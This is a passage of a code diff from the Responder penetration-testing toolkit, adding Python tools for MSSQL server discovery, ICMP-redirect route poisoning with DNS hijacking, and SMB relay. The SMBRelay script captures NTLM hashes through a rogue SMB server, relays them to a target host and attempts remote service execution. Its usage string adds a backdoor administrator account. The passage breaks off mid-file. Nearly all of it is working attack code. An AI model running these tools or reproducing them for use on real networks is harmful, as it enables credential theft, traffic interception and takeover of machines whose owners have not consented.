+           IsDCVuln(GetBootTime(data[116:124]))
+    except Exception:
+        s.close()
+        raise
+
+if __name__ == "__main__":
+    if len(sys.argv)<=1:
+        sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
+    host = sys.argv[1],445
+    run(host)

tools/FindSQLSrv.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from socket import *
+
+print 'MSSQL Server Finder 0.1'
+
+s = socket(AF_INET,SOCK_DGRAM)
+s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
+s.settimeout(2)
+s.sendto('\x02',('255.255.255.255',1434))
+
+try:
+   while 1:
+      data, address = s.recvfrom(8092)
+      if not data:
+         break
+      else:
+         print "==============================================================="
+         print "Host details:",address[0]
+         print data[2:]
+         print "==============================================================="
+         print ""
+except:
+   pass
+
+

tools/Icmp-Redirect.py

@@ -0,0 +1,262 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import sys
+import socket
+import struct
+import optparse
+import random
+import pipes
+
+from random import randrange
+from time import sleep
+from subprocess import call
+from pipes import quote
+
+BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, BASEDIR)
+from odict import OrderedDict
+from packets import Packet
+from utils import *
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
+parser.add_option('-I', '--interface',      action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+parser.add_option('-g', '--gateway',        action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
+parser.add_option('-t', '--target',         action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
+parser.add_option('-r', '--route',          action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
+parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
+parser.add_option('-a', '--alternate',      action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
+options, args = parser.parse_args()
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+if options.OriginalGwAddr is None:
+	print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
+	exit(-1)
+
+if options.VictimIP is None:
+	print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
+	exit(-1)
+
+if options.Interface is None:
+	print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
+	exit(-1)
+
+if options.ToThisHost is None:
+	print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
+	exit(-1)
+
+if options.AlternateGwAddr is None:
+	AlternateGwAddr = FindLocalIP(Interface)
+
+Responder_IP    = FindLocalIP(Interface)
+OriginalGwAddr  = options.OriginalGwAddr
+AlternateGwAddr = options.AlternateGwAddr
+VictimIP        = options.VictimIP
+ToThisHost      = options.ToThisHost
+ToThisHost2     = options.ToThisHost2
+Interface       = options.Interface
+
+print '###########################################################################'
+print '##                      ICMP REDIRECT UTILITY 0.1                        ##'
+print '##                                                                       ##'
+print '##   This utility combined with Responder is useful on Windows networks  ##'
+print '##      Most Linux distributions discard by default ICMP Redirects.      ##'
+print '##                                                                       ##'
+print '##     Note that if the target is Windows, the poisoning will only       ##'
+print '##    last for 10mn, you can re-poison the target by launching this      ##'
+print '##  utility again.  If you wish to respond to the traffic, for example   ##'
+print '##   to DNS queries issued by the target, run these commands as root:    ##'
+print '##                                                                       ##'
+print '##    *  iptables -A OUTPUT -p ICMP -j DROP                              ##'
+print '##    *  iptables -t nat -A PREROUTING -p udp --dst %s                   ##' % ToThisHost
+print '##       --dport 53 -j DNAT --to-destination %s:53                       ##' % Responder_IP
+print '###########################################################################'
+print ''
+
+def GenCheckSum(data):
+	s = 0
+	for i in range(0, len(data), 2):
+		q = ord(data[i]) + (ord(data[i+1]) << 8)
+		f = s+q
+		s = (f & 0xffff) + (f >> 16)
+	return struct.pack("<H",~s & 0xffff)
+
+#####################################################################
+#ARP Packets
+#####################################################################
+class EthARP(Packet):
+	fields = OrderedDict([
+		("DstMac", "\xff\xff\xff\xff\xff\xff"),
+		("SrcMac", ""),
+		("Type", "\x08\x06" ), #ARP
+	])
+
+class ARPWhoHas(Packet):
+	fields = OrderedDict([
+		("HwType",    "\x00\x01"),
+		("ProtoType", "\x08\x00" ), #IP
+		("MacLen",    "\x06"),
+		("IPLen",     "\x04"),
+		("OpCode",    "\x00\x01"),
+		("SenderMac", ""),
+		("SenderIP",  "\x00\xff\x53\x4d"),
+		("DstMac",    "\x00\x00\x00\x00\x00\x00"),
+		("DstIP",     "\x00\x00\x00\x00"),
+	])
+
+	def calculate(self):
+		self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
+		self.fields["SenderIP"] = inet_aton(Responder_IP)
+
+#####################################################################
+#ICMP Redirect Packets
+#####################################################################
+class Eth2(Packet):
+	fields = OrderedDict([
+		("DstMac", ""),
+		("SrcMac", ""),
+		("Type", "\x08\x00" ), #IP
+	])
+
+class IPPacket(Packet):
+	fields = OrderedDict([
+		("VLen",       "\x45"),
+		("DifField",   "\x00"),
+		("Len",        "\x00\x38"),
+		("TID",        "\x25\x25"),
+		("Flag",       "\x00"),
+		("FragOffset", "\x00"),
+		("TTL",        "\x1d"),
+		("Cmd",        "\x01"), #ICMP
+		("CheckSum",   "\x00\x00"),
+		("SrcIP",   ""),
+		("DestIP",     ""),
+		("Data",       ""),
+
+	])
+
+	def calculate(self):
+		self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
+		self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
+		self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
+		# Calc Len First
+		CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
+		self.fields["Len"] = struct.pack(">H", len(CalculateLen))
+		# Then CheckSum this packet
+		CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
+		self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+
+class ICMPRedir(Packet):
+	fields = OrderedDict([
+		("Type",       "\x05"),
+		("OpCode",     "\x01"),
+		("CheckSum",   "\x00\x00"),
+		("GwAddr",     ""),
+		("Data",       ""),
+	])
+
+	def calculate(self):
+		#Set the values
+		self.fields["GwAddr"] = inet_aton(Responder_IP)
+		# Then CheckSum this packet
+		CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
+		self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+
+class DummyUDP(Packet):
+	fields = OrderedDict([
+		("SrcPort",    "\x00\x35"), #port 53
+		("DstPort",    "\x00\x35"),
+		("Len",        "\x00\x08"), #Always 8 in this case.
+		("CheckSum",   "\x00\x00"), #CheckSum disabled.
+	])
+
+def ReceiveArpFrame(DstAddr):
+	s = socket(AF_PACKET, SOCK_RAW)
+	s.settimeout(5)
+	Protocol = 0x0806
+	s.bind((Interface, Protocol))
+	OurMac = s.getsockname()[4]
+	Eth = EthARP(SrcMac=OurMac)
+	Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
+	Arp.calculate()
+	final = str(Eth)+str(Arp)
+	try:
+		s.send(final)
+		data = s.recv(1024)
+		DstMac = data[22:28]
+		DestMac = DstMac.encode('hex')
+		PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
+		return PrintMac,DstMac
+	except:
+		print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
+		exit(1)
+
+def IcmpRedirectSock(DestinationIP):
+	PrintMac,DestMac = ReceiveArpFrame(VictimIP)
+	PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
+	s = socket(AF_PACKET, SOCK_RAW)
+	s.bind((Interface, 0x0800))
+
+	Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
+	
+	IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
+	IPPackUDP.calculate()
+	
+	ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
+	ICMPPack.calculate()
+	
+	IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
+	IPPack.calculate()
+	
+	final = str(Eth)+str(IPPack)
+	s.send(final)
+
+	print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
+
+def RunThisInLoop(host, host2, ip):
+	dns1 = pipes.quote(host)
+	dns2 = pipes.quote(host2)
+	Responder_IPadd = pipes.quote(ip)
+
+	call("iptables -A OUTPUT -p ICMP -j DROP")
+	call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
+	call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
+	
+	print text("[ICMP-Redir] Automatic mode enabled")
+	print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
+	
+	while True:
+		print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
+		try:
+			IcmpRedirectSock(DestinationIP=dns1)
+			IcmpRedirectSock(DestinationIP=dns2)
+			sleep(480)
+
+		except KeyboardInterrupt:
+			sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
+
+if __name__ == "__main__":
+	if ToThisHost2 != None:
+		RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
+
+	if ToThisHost2 == None:
+		print text("[ICMP-Redir] Poisoning target...")
+		IcmpRedirectSock(DestinationIP=ToThisHost)
+		print text("[ICMP-Redir] Done.")
+		exit()

tools/RelayPackets.py

@@ -1,6 +1,6 @@
-# NBT-NS/LLMNR Responder
+#!/usr/bin/env python
-# Created by Laurent Gaffie
+# This file is part of Responder
-# Copyright (C) 2014 Trustwave Holdings, Inc.
+# Original work by Laurent Gaffie - Trustwave Holdings
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -11,7 +11,7 @@
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU General Public License for more details.
-# 
+#
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
@@ -30,27 +30,20 @@ class Packet():
                 self.fields[k] = v
     def __str__(self):
         return "".join(map(str, self.fields.values()))
-##################################################################################
-#SMB Client Stuff
-##################################################################################
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
 
 class SMBHeader(Packet):
     fields = OrderedDict([
         ("proto", "\xff\x53\x4d\x42"),
         ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
+        ("errorcode", "\x00\x00\x00\x00"),
         ("flag1", "\x00"),
         ("flag2", "\x00\x00"),
         ("pidhigh", "\x00\x00"),
         ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
         ("reserved", "\x00\x00"),
         ("tid", "\x00\x00"),
-        ("pid", "\x00\x4e"),
+        ("pid", "\x00\x00"),
-        ("uid", "\x00\x08"),
+        ("uid", "\x00\x00"),
         ("mid", "\x00\x00"),
     ])
 
@@ -285,7 +278,6 @@ class SMBDCESVCCTLOpenManagerW(Packet):
         ## Convert to UTF-16LE
         self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
 
-
 class SMBDCESVCCTLCreateService(Packet):
     fields = OrderedDict([
         ("ContextHandle",        ""),
@@ -332,8 +324,6 @@ class SMBDCESVCCTLCreateService(Packet):
         self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
         self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
 
-
-
 class SMBDCESVCCTLOpenService(Packet):
     fields = OrderedDict([
         ("ContextHandle",        ""),
@@ -361,120 +351,4 @@ class SMBDCESVCCTLStartService(Packet):
 def ParseAnswerKey(data,host):
     key = data[73:81]
     print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
-    return key
+    return key
-
-##################################################################################
-#SMB Server Stuff
-##################################################################################
-
-#Calculate total SMB packet len.
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-#Set MID SMB Header field.
-def midcalc(data):
-    pack=data[34:36]
-    return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
-    pack=data[32:34]
-    return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
-    pack=data[30:32]
-    return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
-    pack=data[28:30]
-    return pack
-
-#SMB Header answer packet.
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("errorcode", "\x00\x00\x00\x00" ),
-        ("flag1", "\x80"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\xff\xfe"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-#SMB Negotiate Answer packet.
-class SMBNegoAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("Maxbuffsize",  "\x04\x11\x00\x00"),
-        ("Maxrawbuff",   "\x00\x00\x01\x00"),
-        ("Sessionkey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfd\x43\x00\x00"),
-        ("Systemtime",   "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
-        ("Keylength",    "\x08"),
-        ("Bcc",          "\x10\x00"),
-        ("Key",          "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
-        ("Domain",       ""),
-
-    ])
-
-    def calculate(self):
-
-        ##Then calculate.
-        CompleteBCCLen =  str(self.fields["Key"])+str(self.fields["Domain"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
-
-# SMB Session/Tree Answer.
-class SMBSessTreeAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",       "\x03"),
-        ("Command",         "\x75"), 
-        ("Reserved",        "\x00"),
-        ("AndXoffset",      "\x4e\x00"),
-        ("Action",          "\x01\x00"),
-        ("Bcc",             "\x25\x00"),
-        ("NativeOs",        "Windows 5.1"),
-        ("NativeOsNull",    "\x00"),
-        ("NativeLan",       "Windows 2000 LAN Manager"),
-        ("NativeLanNull",   "\x00"),
-        ("WordcountTree",   "\x03"),
-        ("AndXCommand",     "\xff"),
-        ("Reserved1",       "\x00"),
-        ("AndxOffset",      "\x00\x00"),
-        ("OptionalSupport", "\x01\x00"),
-        ("Bcc2",            "\x08\x00"),
-        ("Service",         "A:"),
-        ("ServiceNull",     "\x00"),
-        ("FileSystem",      "NTFS"),
-        ("FileSystemNull",  "\x00"),
-
-    ])
-
-    def calculate(self):
-        ##AndxOffset
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-
-        self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
-        ##BCC 1 and 2
-        CompleteBCCLen =  str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
-        self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
-
-class SMBSessEmpty(Packet):
-    fields = OrderedDict([
-        ("Empty",       "\x00\x00\x00"),
-    ])
-

tools/SMBRelay.py

@@ -0,0 +1,441 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
+from fingerprint import RunSmbFinger
+from odict import OrderedDict
+from socket import *
+from RelayPackets import *
+
+def UserCallBack(op, value, dmy, parser):
+    args=[]
+    for arg in parser.rargs:
+        if arg[0] != "-":
+            args.append(arg)
+    if getattr(parser.values, op.dest):
+        args.extend(getattr(parser.values, op.dest))
+    setattr(parser.values, op.dest, args)
+
+parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],)
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
+parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
+parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
+parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
+parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
+
+options, args = parser.parse_args()
+
+if options.CMD is None:
+    print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
+    parser.print_help()
+    exit(-1)
+
+if options.TARGET is None:
+    print "\n-t mandatory option is missing, please provide a target.\n"
+    parser.print_help()
+    exit(-1)
+
+if options.UserToRelay is None:
+    print "\n-u mandatory option is missing, please provide a username to relay.\n"
+    parser.print_help()
+    exit(-1)
+
+ResponderPATH = os.path.dirname(__file__)
+# Set some vars.
+UserToRelay = options.UserToRelay
+Domain  = options.Domain
+Command  = options.CMD
+Target = options.TARGET
+Responder_IP = options.Responder_IP
+
+print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
+print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames  to relay (-u) are case sensitive.'+'\033[0m'
+print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+#Logger
+import logging
+Logs = logging
+Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
+
+#Function used to verify if a previous auth attempt was made.
+def ReadData(outfile,Client, User, cmd=None):
+    try:
+        with open(ResponderPATH+outfile,"r") as filestr:
+            if cmd == None:
+                String = Client+':'+User
+                if re.search(String.encode('hex'), filestr.read().encode('hex')):
+                    filestr.close()
+                    return True
+                else:
+                    return False
+            if cmd != None:
+                String = Client+","+User+","+cmd
+                if re.search(String.encode('hex'), filestr.read().encode('hex')):
+                    filestr.close()
+                    print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
+                    return True
+                else:
+                    return False
+
+    except:
+        raise
+
+#Function used to parse SMB NTLMv1/v2
+def ParseHash(data,Client, Target):
+    try:
+        lenght = struct.unpack('<H',data[43:45])[0]
+        LMhashLen = struct.unpack('<H',data[51:53])[0]
+        NthashLen = struct.unpack('<H',data[53:55])[0]
+        Bcc = struct.unpack('<H',data[63:65])[0]
+        if NthashLen >= 30:
+            Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
+            pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
+            var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
+            Username, Domain = tuple(var)
+            if ReadData("SMBRelay-Session.txt", Client, Username):
+                print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
+                pass
+            if Username in UserToRelay:
+                print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
+                print "Username : ",Username
+                print "Domain (if joined, if not then computer name) : ",Domain
+                return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
+        if NthashLen == 24:
+            pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
+            var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
+            Username, Domain = tuple(var)
+            if ReadData("SMBRelay-Session.txt", Client, Username):
+                print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
+                pass
+            if Username in UserToRelay:
+                print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
+                LMHashing = data[65:65+LMhashLen].encode('hex').upper()
+                NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
+                print "Username : ",Username
+                print "Domain (if joined, if not then computer name) : ",Domain
+                return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
+            else:
+                print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
+                pass
+
+
+    except Exception:
+        raise
+
+#Detect if SMB auth was Anonymous
+def Is_Anonymous(data):
+    LMhashLen = struct.unpack('<H',data[51:53])[0]
+    if LMhashLen == 0 or LMhashLen == 1:
+        print "SMB Anonymous login requested, trying to force client to auth with credz."
+        return True
+    else:
+        return False
+
+def ParseDomain(data):
+    Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
+    return Domain
+
+#Function used to know which dialect number to return for NT LM 0.12
+def Parse_Nego_Dialect(data):
+    DialectStart = data[40:]
+    pack = tuple(DialectStart.split('\x02'))[:10]
+    var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
+    test = tuple(var)
+    if test[0] == "NT LM 0.12":
+        return "\x00\x00"
+    if test[1] == "NT LM 0.12":
+        return "\x01\x00"
+    if test[2] == "NT LM 0.12":
+        return "\x02\x00"
+    if test[3] == "NT LM 0.12":
+        return "\x03\x00"
+    if test[4] == "NT LM 0.12":
+        return "\x04\x00"
+    if test[5] == "NT LM 0.12":
+        return "\x05\x00"
+    if test[6] == "NT LM 0.12":
+        return "\x06\x00"
+    if test[7] == "NT LM 0.12":
+        return "\x07\x00"
+    if test[8] == "NT LM 0.12":
+        return "\x08\x00"
+    if test[9] == "NT LM 0.12":
+        return "\x09\x00"
+    if test[10] == "NT LM 0.12":
+        return "\x0a\x00"
+
+def SmbRogueSrv139(key,Target,DomainMachineName):
+    s = socket(AF_INET,SOCK_STREAM)
+    s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
+    s.settimeout(30)
+    try:
+        s.bind(('0.0.0.0', 139))
+        s.listen(0)
+        conn, addr = s.accept()
+    except error, msg:
+        if "Address already in use" in msg:
+            print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
+
+    try:
+        while True:
+            data = conn.recv(1024)
+            ##session request 139
+            if data[0] == "\x81":
+                buffer0 = "\x82\x00\x00\x00"
+                conn.send(buffer0)
+            ##Negotiate proto answer.
+            if data[8:10] == "\x72\x00":
+                head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
+                t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
+                t.calculate()
+                packet1 = str(head)+str(t)
+                buffer1 = longueur(packet1)+packet1
+                conn.send(buffer1)
+                ##Session Setup AndX Request
+            if data[8:10] == "\x73\x00":
+                if Is_Anonymous(data):
+                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+                    packet1 = str(head)+str(SMBSessEmpty())
+                    buffer1 = longueur(packet1)+packet1
+                    conn.send(buffer1)
+                else:
+                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+                    packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
+                    buffer1 = longueur(packet1)+packet1
+                    conn.send(buffer1)
+                    Credz = ParseHash(data,addr[0],Target)
+                    return Credz
+    except:
+        return None
+
+def RunRelay(host, Command,Domain):
+    Target = host
+    CMD = Command
+    print "Target is running: ", RunSmbFinger((host, 445))
+    s = socket(AF_INET, SOCK_STREAM)
+    s.connect((host, 445))
+    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
+    n = SMBNego(Data = SMBNegoData())
+    n.calculate()
+    packet0 = str(h)+str(n)
+    buffer0 = longueur(packet0)+packet0
+    s.send(buffer0)
+    data = s.recv(2048)
+    Key = ParseAnswerKey(data,host)
+    DomainMachineName = ParseDomain(data)
+    if data[8:10] == "\x72\x00":
+        try:
+            a = SmbRogueSrv139(Key,Target,DomainMachineName)
+            if a is not None:
+                LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
+                if Domain == None:
+                    Domain = OriginalDomain
+                if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
+                    pass
+                else:
+                    head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
+                    t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
+                    t.calculate()
+                    packet0 = str(head)+str(t)
+                    buffer1 = longueur(packet0)+packet0
+                    s.send(buffer1)
+                    data = s.recv(2048)
+        except:
+            raise
+            a = None
+    if data[8:10] == "\x73\x6d":
+        print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
+        Logs.info(CLIENTIP+":"+Username)
+    if data[8:10] == "\x73\x0d":
+        print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
+        Logs.info(CLIENTIP+":"+Username)
+        ## NtCreateAndx
+    if data[8:10] == "\x73\x00":
+        print "[+] Authenticated, trying to PSexec on target !"
+        head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        t = SMBNTCreateData()
+        t.calculate()
+        packet0 = str(head)+str(t)
+        buffer1 = longueur(packet0)+packet0
+        s.send(buffer1)
+        data = s.recv(2048)
+        ## Fail Handling.
+    if data[8:10] == "\xa2\x22":
+        print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
+        ## DCE/RPC Write.
